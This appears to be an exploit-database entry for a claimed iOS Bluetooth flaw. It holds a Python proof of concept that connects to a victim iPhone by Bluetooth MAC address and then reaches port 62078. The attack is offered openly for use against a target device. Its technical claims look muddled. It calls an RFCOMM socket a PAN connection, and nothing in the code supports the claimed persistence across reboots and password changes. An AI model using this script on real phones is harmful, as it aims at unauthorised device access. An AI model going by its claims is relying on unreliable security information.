iOS Bluetooth PAN Exploit - Ethernet Gateway without Adapter

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• exploit-code: # Exploit Title: iOS Bluetooth PAN - Zero-Cost Ethernet Gateway (USB Port 62078) # Date: 2026-06-23 # Exploit Author: Fares Dahoumane (Silent Killer) # Vendor Homepage: https://www.apple.com/ # Software Link: https://www.apple.com/ios/ # Version: iOS 17 and later # Tested on: iPhone 14 Pro (iOS 17.5.1), macOS Ventura 13.6 # CVE : N/A (Apple closed the case without assigning a CVE) # Reference: https://github.com/F4R3SX0/iOS-Bluetooth-Ethernet-Exploit # Description: # A logic flaw in Apple's iOS Bluetooth PAN stack allows an attacker to force an # iPhone to display a real "Ethernet" icon and open the core USB port (62078) # over Bluetooth without any cable or adapter. The attack costs €0 to execute, # while Apple sells the Satechi Multiport Pro V2 adapter for €89.95 to achieve # the same result. The connection persists after reboot and password changes. # Proof of Concept (Python): import bluetooth import socket import time # Replace with the victim's iPhone Bluetooth MAC address TARGET_MAC = "XX:XX:XX:XX:XX:XX" USB_PORT = 62078 def create_pan_connection(mac_address): """ Create a Bluetooth PAN connection to the target iPhone. This triggers the opening of USB port 62078 and displays the Ethernet icon. """ try: # Establish Bluetooth PAN connection sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM) sock.connect((mac_address, 1)) # PAN service print(f"[+] PAN connection established to {mac_address}") # Wait for the system to open the USB port time.sleep(2) # Attempt to connect to USB port (62078) over the PAN network usb_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) usb_sock.settimeout(5) # The iPhone's IP address on the PAN network is typically 172.20.10.x usb_sock.connect(("172.20.10.1", USB_PORT)) print(f"[+] USB port {USB_PORT} is now open and reachable!") print("[+] Ethernet icon should now be visible on the target iPhone.") usb_sock.close() sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("[*] iOS Bluetooth PAN Exploit - Zero-Cost Ethernet Gateway") print("[*] Target MAC: " + TARGET_MAC) create_pan_connection(TARGET_MAC)